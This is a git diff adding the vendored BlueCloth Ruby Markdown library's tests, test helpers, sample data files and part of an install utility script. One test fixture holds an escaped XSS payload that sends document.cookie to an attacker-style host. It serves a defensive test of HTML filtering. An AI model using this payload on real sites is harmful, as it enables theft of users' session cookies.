    +>>> + diff --git a/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb new file mode 100755 index 00000000..0ca746b4 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb @@ -0,0 +1,57 @@ +#!/usr/bin/ruby +# +# Unit test for bugs found in BlueCloth +# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +require 'timeout' + +### This test case tests ... +class BugsTestCase < BlueCloth::TestCase + BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) + + ### Test to be sure the README file can be transformed. + def test_00_slow_block_regex + contents = File::read( File::join(BaseDir,"README") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + timeout( 2 ) do + bcobj.to_html + end + } + end + + ### :TODO: Add more documents and test their transforms. + + def test_10_regexp_engine_overflow_bug + contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + + def test_15_regexp_engine_overflow_bug2 + contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + +end + + +__END__ + diff --git a/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb new file mode 100755 index 00000000..56af2d8b --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb @@ -0,0 +1,132 @@ +#!/usr/bin/ruby +# +# Unit test for contributed features +# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + + +### This test case tests ... +class ContribTestCase < BlueCloth::TestCase + + DangerousHtml = + "" + DangerousHtmlOutput = + "

    <script>document.location='http://www.hacktehplanet.com" + + "/cgi-bin/cookie.cgi?' + document.cookie</script>

    " + DangerousStylesOutput = + "" + NoLessThanHtml = "Foo is definitely > than bar" + NoLessThanOutput = "

    Foo is definitely > than bar

    " + + + ### HTML filter options contributed by Florian Gross. + + ### Test the :filter_html restriction + def test_10_filter_html + printTestHeader "filter_html Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + + # Test setting it in a sub-array + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_html] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + end + + + ### Test the :filter_styles restriction + def test_20_filter_styles + printTestHeader "filter_styles Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_styles ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + # Test setting it in a subarray + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + end + + + ### Test to be sure filtering when there's no opening angle brackets doesn't + ### die. + def test_30_filter_no_less_than + printTestHeader "filter without a less-than" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( NoLessThanHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + assert_nothing_raised { rval = bc.to_html } + assert_equal NoLessThanOutput, rval + end + + + +end + diff --git a/vendor/bluecloth-1.0.0/tests/bctestcase.rb b/vendor/bluecloth-1.0.0/tests/bctestcase.rb new file mode 100755 index 00000000..15a920f4 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/bctestcase.rb @@ -0,0 +1,274 @@ +#!/usr/bin/ruby +# +# This is an abstract test case class for building Test::Unit unit tests for the +# BlueCloth module. It consolidates most of the maintenance work that must be +# done to build a test file by adjusting the $LOAD_PATH appropriately, as well +# as adding some other useful methods that make building, maintaining, and using +# the tests for programming much easier (IMHO). See the docs for Test::Unit for +# more info on the particulars of unit testing. +# +# == Synopsis +# +# # Allow the test to be run from anywhere: +# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) +# basedir = File::dirname( __FILE__ ) +# require File::join( basedir, 'bctestcase' ) +# end +# +# class MySomethingTest < BlueCloth::TestCase +# def setup +# super() +# @foo = 'bar' +# end +# +# def test_00_something +# obj = nil +# assert_nothing_raised { obj = MySomething::new } +# assert_instance_of MySomething, obj +# assert_respond_to :myMethod, obj +# end +# +# end +# +# == Rcsid +# +# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# == Authors +# +# * Michael Granger +# +#:include: COPYRIGHT +# +#--- +# +# Please see the file COPYRIGHT in the 'docs' directory for licensing details. +# + +$DebugPattern ||= nil + +begin + basedir = File::dirname( File::dirname(__FILE__) ) + unless $LOAD_PATH.include?( "#{basedir}/lib" ) + $LOAD_PATH.unshift "#{basedir}/lib" + end +end + +require "test/unit" +require "bluecloth" + + +class BlueCloth + + ### The abstract base class for BlueCloth test cases. + class TestCase < Test::Unit::TestCase + + @methodCounter = 0 + @setupBlocks = [] + @teardownBlocks = [] + class << self + attr_accessor :methodCounter, :setupBlocks, :teardownBlocks + end + + + ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars + ### and accessors to the inheriting class. + def self::inherited( klass ) + klass.module_eval { + @setupBlocks = [] + @teardownBlocks = [] + + class << self + attr_accessor :setupBlocks, :teardownBlocks + end + } + klass.methodCounter = 0 + end + + + + ### Output the specified msgs joined together to + ### STDERR if $DEBUG is set. + def self::debugMsg( *msgs ) + return unless $DEBUG + self.message "DEBUG>>> %s" % msgs.join('') + end + + ### Output the specified msgs joined together to + ### STDOUT. + def self::message( *msgs ) + $stderr.puts msgs.join('') + $stderr.flush + end + + + ### Add a setup block for the current testcase + def self::addSetupBlock( &block ) + self.methodCounter += 1 + newMethodName = "setup_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.setupBlocks.push newMethodName + end + + ### Add a teardown block for the current testcase + def self::addTeardownBlock( &block ) + self.methodCounter += 1 + newMethodName = "teardown_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.teardownBlocks.unshift newMethodName + end + + + ############################################################# + ### I N S T A N C E M E T H O D S + ############################################################# + + ### A dummy test method to allow this Test::Unit::TestCase to be + ### subclassed without complaining about the lack of tests. + def test_0_dummy + end + + + ### Forward-compatibility method for namechange in Test::Unit + def setup( *args ) + self.class.setupBlocks.each {|sblock| + debugMsg "Calling setup block method #{sblock}" + self.send( sblock ) + } + super( *args ) + end + alias_method :set_up, :setup + + + ### Forward-compatibility method for namechange in Test::Unit + def teardown( *args ) + super( *args ) + self.class.teardownBlocks.each {|tblock| + debugMsg "Calling teardown block method #{tblock}" + self.send( tblock ) + } + end + alias_method :tear_down, :teardown + + + ### Skip the current step (called from #setup) with the +reason+ given. + def skip( reason=nil ) + if reason + msg = "Skipping %s: %s" % [ @method_name, reason ] + else + msg = "Skipping %s: No reason given." % @method_name + end + + $stderr.puts( msg ) if $VERBOSE + @method_name = :skipped_test + end + + + def skipped_test # :nodoc: + end + + + ### Add the specified +block+ to the code that gets executed by #setup. + def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end + + + ### Add the specified +block+ to the code that gets executed by #teardown. + def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end + + + ### Instance alias for the like-named class method. + def message( *msgs ) + self.class.message( *msgs ) + end + + + ### Instance alias for the like-named class method + def debugMsg( *msgs ) + self.class.debugMsg( *msgs ) + end + + + ### Output a separator line made up of length of the specified + ### char. + def writeLine( length=75, char="-" ) + $stderr.puts "\r" + (char * length ) + end + + + ### Output a header for delimiting tests + def printTestHeader( desc ) + return unless $VERBOSE || $DEBUG + message ">>> %s <<<" % desc + end + + + ### Try to force garbage collection to start. + def collectGarbage + a = [] + 1000.times { a << {} } + a = nil + GC.start + end + + + ### Output the name of the test as it's running if in verbose mode. + def run( result ) + $stderr.puts self.name if $VERBOSE || $DEBUG + + # Support debugging for individual tests + olddb = nil + if $DebugPattern && $DebugPattern =~ @method_name + olddb = $DEBUG + $DEBUG = true + end + + super + + $DEBUG = olddb unless olddb.nil? + end + + + ############################################################# + ### E X T R A A S S E R T I O N S + ############################################################# + + ### Negative of assert_respond_to + def assert_not_respond_to( obj, meth ) + msg = "%s expected NOT to respond to '%s'" % + [ obj.inspect, meth ] + assert_block( msg ) { + !obj.respond_to?( meth ) + } + end + + + ### Assert that the instance variable specified by +sym+ of an +object+ + ### is equal to the specified +value+. The '@' at the beginning of the + ### +sym+ will be prepended if not present. + def assert_ivar_equal( value, object, sym ) + sym = "@#{sym}".intern unless /^@/ =~ sym.to_s + msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % + [ sym, object.inspect, value.inspect ] + msg += "\tbut was: <%s>" % object.instance_variable_get(sym) + assert_block( msg ) { + value == object.instance_variable_get(sym) + } + end + + + ### Assert that the specified +object+ has an instance variable which + ### matches the specified +sym+. The '@' at the beginning of the +sym+ + ### will be prepended if not present. + def assert_has_ivar( sym, object ) + sym = "@#{sym}" unless /^@/ =~ sym.to_s + msg = "Object <%s> expected to have an instance variable <%s>" % + [ object.inspect, sym ] + assert_block( msg ) { + object.instance_variables.include?( sym.to_s ) + } + end + + end # class TestCase + +end # class BlueCloth + diff --git a/vendor/bluecloth-1.0.0/tests/data/antsugar.txt b/vendor/bluecloth-1.0.0/tests/data/antsugar.txt new file mode 100755 index 00000000..629dda3e --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/data/antsugar.txt @@ -0,0 +1,34 @@ +The Ant-Sugar Tales +=================== + +By Candice Yellowflower + +The _Ant-Sugar Tales_ is a collection of short stories told from the +perspective of a fine young lady from [Venice][1], who has some run-ins +with a few [inquisitive insects][2]. Each tale presents a moral quandry, +which the ants are quick to solve with their antly wisdom and +know-how. Some of the moral lessons presented are: + +* Laundry: How not to get caught in soiled knickers. +* Used Ticket Stubs and Their Impact on the Universe +* I'm Keeping a Birdhouse in my Attic + +Use of Metaphor +--------------- + +The author's splended use of metaphor can be attributed to her growing +up in a art-supply store. Her characters are richly outlined, but her +unusual descriptions can sometimes be a bit jarring in places, such as +her description of the old caretaker that lives inside a hollow tree in +her yard: + +> His skin was smooth like Magnani Pescia 100% acid-free cold pressed +> 22x30" Soft White Paper, with fine hair like the bristles of a Habico +> Lasur Superb Oil Glazing Brush Size 10. + + + [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3 + (Venice: The Grand Canal) + [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html + + diff --git a/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt b/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt new file mode 100755 index 00000000..78a10186 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt @@ -0,0 +1,17 @@ +Hi, + +I'd like to announce the alpha release of a Markdown library for [Ruby][1] +called "BlueCloth". It's mostly a direct port of the most recent Perl version, +minus the various plugin hooks and whatnot. + +More information can be found on [the project page][2], or feel free to ask me +directly. I don't have much in the way of a demo yet, but will be working on +getting something set up in the coming days. + + [1]: http://www.ruby-lang.org/ + [2]: http://bluecloth.rubyforge.org/ + +-- +Michael Granger +Rubymage, Believer, Architect +The FaerieMUD Consortium diff --git a/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt b/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt new file mode 100755 index 00000000..f54e91e1 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt @@ -0,0 +1,67 @@ +* xx xxxxxxx xx xxxxxx. + +* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx: + + * xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx + xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx + xxx xx xxxxxxxxx xx xxxx. + + xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx + xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx. + + * xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx + xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx + xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx. + + xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx) + xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx + xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx. + + xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx + xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx, + xxxx xx xxxxxx xxx xxxx. + + * xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx + xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx + xxxxxx xxx-xxxx xxxxx. + + xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx. + +* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx + xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx + xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx + xx xxx xxxxxxxxx xxxx-xxx. + +* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx + xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx + xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx. + +* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx + xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx. + + x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx + xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx + xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx: + + * xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx + xxxxxxxxxx). + + * xxxxxxxxxxx xx xxxx xxxxxxx xxx. + + * xxxx xx xxxxx xxxxxxx xx xxx xxxxxx. + + * xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx. + + * xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx. + +* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx + xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx + xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx. + +* xx x xxxxx xxxx: + + * xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx, + xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx, + xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx + -- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx + xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx. diff --git a/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt b/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt new file mode 100755 index 00000000..cead3169 --- /dev/null +++ b/vendor/bluecloth-1.0.0/tests/data/re-overflow2.txt @@ -0,0 +1,281 @@ +iFotobilder will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto. + +## Getting Started + +Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this. + +Here's what I found: + +* [Writing Plugins for Cocoa][1] + +[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html + +## The iPhoto Export API + +Using the `class-dump` tool, I dumped the export API: + + /* + * Generated by class-dump 3.0. + * + * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard. + */ + + /* + * File: /Applications/iPhoto.app/Contents/MacOS/iPhoto + */ + + @protocol ExportImageProtocol + - (unsigned int)imageCount; + - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20; + - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; + - (unsigned int)imageFormatAtIndex:(unsigned int)fp16; + - (id)imageCaptionAtIndex:(unsigned int)fp16; + - (id)imagePathAtIndex:(unsigned int)fp16; + - (id)thumbnailPathAtIndex:(unsigned int)fp16; + - (id)imageDictionaryAtIndex:(unsigned int)fp16; + - (float)imageAspectRatioAtIndex:(unsigned int)fp16; + - (id)albumName; + - (id)albumMusicPath; + - (unsigned int)albumCount; + - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16; + - (id)window; + - (void)enableControls; + - (void)disableControls; + - (void)clickExport; + - (void)startExport; + - (void)cancelExport; + - (void)cancelExportBeforeBeginning; + - (id)directoryPath; + - (id)temporaryDirectory; + - (BOOL)doesFileExist:(id)fp16; + - (BOOL)doesDirectoryExist:(id)fp16; + - (BOOL)createDir:(id)fp16; + - (id)uniqueSubPath:(id)fp12 child:(id)fp20; + - (id)makeUniquePath:(id)fp16; + - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20; + - (id)makeUniqueFileNameWithTime:(id)fp16; + - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20; + - (id)pathForFSSpec:(id)fp16; + - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27; + - (id)pathForFSRef:(struct FSRef *)fp16; + - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23; + - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23; + - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27; + - (BOOL)isAliasFileAtPath:(id)fp16; + - (id)pathContentOfAliasAtPath:(id)fp16; + - (id)stringByResolvingAliasesInPath:(id)fp16; + - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20; + - (id)validFilename:(id)fp16; + - (id)getExtensionForImageFormat:(unsigned int)fp16; + - (unsigned int)getImageFormatForExtension:(id)fp16; + - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32; + - (void *)createThumbnailer; + - (void *)retainThumbnailer:(void *)fp16; + - (void *)autoreleaseThumbnailer:(void *)fp16; + - (void)releaseThumbnailer:(void *)fp16; + - (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32; + - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 quality:(int)fp20; + - (int)thumbnailerQuality:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 rotation:(float)fp20; + - (float)thumbnailerRotation:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20; + - (unsigned int)thumbnailerOutputFormat:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20; + - (id)thumbnailerOutputExtension:(void *)fp16; + - (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28; + - (struct _NSSize)lastImageSize:(void *)fp20; + - (struct _NSSize)lastThumbnailSize:(void *)fp16; + @end + + @protocol ExportPluginBoxProtocol + - (BOOL)performKeyEquivalent:(id)fp16; + @end + + @protocol ExportPluginProtocol + - (id)initWithExportImageObj:(id)fp16; + - (id)settingsView; + - (id)firstView; + - (id)lastView; + - (void)viewWillBeActivated; + - (void)viewWillBeDeactivated; + - (id)requiredFileType; + - (BOOL)wantsDestinationPrompt; + - (id)getDestinationPath; + - (id)defaultFileName; + - (id)defaultDirectory; + - (BOOL)treatSingleSelectionDifferently; + - (BOOL)validateUserCreatedPath:(id)fp16; + - (void)clickExport; + - (void)startExport:(id)fp16; + - (void)performExport:(id)fp16; + - (CDAnonymousStruct12 *)progress; + - (void)lockProgress; + - (void)unlockProgress; + - (void)cancelExport; + - (id)name; + - (id)description; + @end + + @interface ExportController : NSObject + { + id mWindow; + id mExportView; + id mExportButton; + id mImageCount; + ExportMgr *mExportMgr; + ExportMgrRec *mCurrentPluginRec; + ProgressController *mProgressController; + BOOL mCancelExport; + NSTimer *mTimer; + NSString *mDirectoryPath; + } + + - (void)awakeFromNib; + - (void)dealloc; + - (id)currentPlugin; + - (id)currentPluginRec; + - (void)setCurrentPluginRec:(id)fp12; + - (id)directoryPath; + - (void)setDirectoryPath:(id)fp12; + - (void)show; + - (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20; + - (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20; + - (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16; + - (BOOL)panel:(id)fp12 isValidFilename:(id)fp16; + - (BOOL)filesWillFitOnDisk; + - (void)export:(id)fp12; + - (void)_exportThread:(id)fp12; + - (void)_exportProgress:(id)fp12; + - (void)startExport:(id)fp12; + - (void)finishExport; + - (void)cancelExport; + - (void)cancel:(id)fp12; + - (void)enableControls; + - (id)window; + - (void)disableControls; + - (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16; + - (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16; + - (void)selectExporter:(id)fp12; + - (id)exportView; + - (BOOL)_hasPlugins; + - (void)_resizeExporterToFitView:(id)fp12; + - (void)_updateImageCount; + + @end + + @interface ExportMgr : NSObject + { + ArchiveDocument *mDocument; + NSMutableArray *mExporters; + Album *mExportAlbum; + NSArray *mSelection; + ExportController *mExportController; + } + + + (id)exportMgr; + + (id)exportMgrNoAlloc; + - (id)init; + - (void)dealloc; + - (void)releasePlugins; + - (void)setExportController:(id)fp12; + - (id)exportController; + - (void)setDocument:(id)fp12; + - (id)document; + - (void)updateDocumentSelection; + - (unsigned int)count; + - (id)recAtIndex:(unsigned int)fp12; + - (void)scanForExporters; + - (unsigned int)imageCount; + - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12; + - (id)imagePathAtIndex:(unsigned int)fp12; + - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; + - (unsigned int)imageFormatAtIndex:(unsigned int)fp12; + - (id)imageCaptionAtIndex:(unsigned int)fp12; + - (id)thumbnailPathAtIndex:(unsigned int)fp12; + - (id)imageDictionaryAtIndex:(unsigned int)fp12; + - (float)imageAspectRatioAtIndex:(unsigned int)fp12; + - (id)albumName; + - (id)albumMusicPath; + - (unsigned int)albumCount; + - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12; + - (id)imageRecAtIndex:(unsigned int)fp12; + - (id)currentAlbum; + - (void)enableControls; + - (void)disableControls; + - (id)window; + - (void)clickExport; + - (void)startExport; + - (void)cancelExport; + - (void)cancelExportBeforeBeginning; + - (id)directoryPath; + - (void)_copySelection:(id)fp12; + - (id)temporaryDirectory; + - (BOOL)doesFileExist:(id)fp12; + - (BOOL)doesDirectoryExist:(id)fp12; + - (BOOL)createDir:(id)fp12; + - (id)uniqueSubPath:(id)fp12 child:(id)fp16; + - (id)makeUniquePath:(id)fp12; + - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16; + - (id)makeUniqueFileNameWithTime:(id)fp12; + - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16; + - (id)pathForFSSpec:(id)fp12; + - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20; + - (id)pathForFSRef:(struct FSRef *)fp12; + - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16; + - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16; + - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20; + - (BOOL)isAliasFileAtPath:(id)fp12; + - (id)pathContentOfAliasAtPath:(id)fp12; + - (id)stringByResolvingAliasesInPath:(id)fp12; + - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16; + - (id)validFilename:(id)fp12; + - (id)getExtensionForImageFormat:(unsigned int)fp12; + - (unsigned int)getImageFormatForExtension:(id)fp12; + - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36; + - (void *)createThumbnailer; + - (void *)retainThumbnailer:(void *)fp12; + - (void *)autoreleaseThumbnailer:(void *)fp12; + - (void)releaseThumbnailer:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24; + - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 quality:(int)fp16; + - (int)thumbnailerQuality:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 rotation:(float)fp36; + - (float)thumbnailerRotation:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16; + - (unsigned int)thumbnailerOutputFormat:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16; + - (id)thumbnailerOutputExtension:(void *)fp12; + - (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20; + - (struct _NSSize)lastImageSize:(void *)fp16; + - (struct _NSSize)lastThumbnailSize:(void *)fp16; + + @end + + @interface ExportMgrRec : NSObject + { + NSString *mPath; + NSBundle *mBundle; + id mPlugin; + struct _NSSize mViewSize; + } + + - (void)dealloc; + - (BOOL)isEqual:(id)fp12; + - (id)description; + - (id)initWithPath:(id)fp12; + - (id)path; + - (id)bundle; + - (id)bundleInfo; + - (BOOL)isValidExportPlugin; + - (BOOL)loadPlugin; + - (id)exportPlugin; + - (void)unloadPlugin; + - (id)view; + - (struct _NSSize)viewSize; + - (void)setPath:(id)fp12; + - (void)setBundle:(id)fp12; + + @end + diff --git a/vendor/bluecloth-1.0.0/utils.rb b/vendor/bluecloth-1.0.0/utils.rb new file mode 100755 index 00000000..c7b4f917 --- /dev/null +++ b/vendor/bluecloth-1.0.0/utils.rb @@ -0,0 +1,553 @@ +# +# Install/distribution utility functions +# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2001-2004, The FaerieMUD Consortium. +# +# This is free software. You may use, modify, and/or redistribute this +# software under the terms of the Perl Artistic License. (See +# http://language.perl.com/misc/Artistic.html) +# + + +BEGIN { + require 'find' + + begin + require 'readline' + include Readline + rescue LoadError => e + $stderr.puts "Faking readline..." + def readline( prompt ) + $stderr.print prompt.chomp + return $stdin.gets.chomp + end + end +} + +class File + Win32Exts = %w{.exe .com .bat} + + def self::which( prog, path=ENV['PATH'] ) + path.split(File::PATH_SEPARATOR).each {|dir| + # If running under Windows, look for prog + extensions + if File::ALT_SEPARATOR + ext = Win32Exts.find_all {|ext| + f = File::join(dir, prog+ext) + File::executable?(f) && !File::directory?(f) + } + ext.each {|f| + f = File::join( dir, prog + f ).gsub(%r:/:,'\\') + if block_given? then yield( f ) else return f end + } + else + f = File::join( dir, prog ) + if File::executable?( f ) && ! File::directory?( f ) + if block_given? then yield(f) else return f end + end + end + } + end + +end + + +module 